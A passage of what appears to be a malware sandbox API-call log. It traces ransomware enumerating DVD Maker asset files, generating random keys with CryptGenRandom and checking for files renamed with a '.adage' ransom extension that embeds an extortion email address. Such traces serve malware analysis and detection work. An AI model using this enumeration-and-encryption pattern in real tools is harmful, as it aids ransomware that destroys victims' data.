Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.573] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.573] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=24791) returned 1 [0060.573] CloseHandle (hObject=0x1a4) returned 1 [0060.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png")) returned 0x20 [0060.573] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.573] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.574] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.574] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.576] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=28701) returned 1 [0060.576] CloseHandle (hObject=0x1a4) returned 1 [0060.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png")) returned 0x20 [0060.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.577] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.577] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=1545) returned 1 [0060.577] CloseHandle (hObject=0x1a4) returned 1 [0060.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png")) returned 0x20 [0060.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.578] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.578] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3159) returned 1 [0060.578] CloseHandle (hObject=0x1a4) returned 1 [0060.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png")) returned 0x20 [0060.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.578] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.578] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=8509) returned 1 [0060.578] CloseHandle (hObject=0x1a4) returned 1 [0060.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png")) returned 0x20 [0060.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.579] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.580] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=8120) returned 1 [0060.580] CloseHandle (hObject=0x1a4) returned 1 [0060.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png")) returned 0x20 [0060.580] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.580] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.580] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.580] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=8406) returned 1 [0060.580] CloseHandle (hObject=0x1a4) returned 1 [0060.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png")) returned 0x20 [0060.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.581] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.581] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=962) returned 1 [0060.581] CloseHandle (hObject=0x1a4) returned 1 [0060.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png")) returned 0x20 [0060.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.582] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.582] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=716) returned 1 [0060.582] CloseHandle (hObject=0x1a4) returned 1 [0060.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png")) returned 0x20 [0060.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.582] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.583] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=293917) returned 1 [0060.583] CloseHandle (hObject=0x1a4) returned 1 [0060.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png")) returned 0x20 [0060.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.584] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.584] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=70262) returned 1 [0060.584] CloseHandle (hObject=0x1a4) returned 1 [0060.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png")) returned 0x20 [0060.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.584] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.584] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=201323) returned 1 [0060.585] CloseHandle (hObject=0x1a4) returned 1 [0060.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png")) returned 0x20 [0060.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.585] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.585] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=69268) returned 1 [0060.585] CloseHandle (hObject=0x1a4) returned 1 [0060.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv")) returned 0x20 [0060.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.586] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.586] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=363512) returned 1 [0060.587] CloseHandle (hObject=0x1a4) returned 1 [0060.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png")) returned 0x20 [0060.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.587] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.587] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=29268) returned 1 [0060.587] CloseHandle (hObject=0x1a4) returned 1 [0060.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv")) returned 0x20 [0060.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\PassportMask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportmask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.721] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0060.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.737] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=109292) returned 1 [0060.737] CloseHandle (hObject=0x180) returned 1 [0060.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv")) returned 0x20 [0060.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0060.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.738] CryptGenRandom (in: 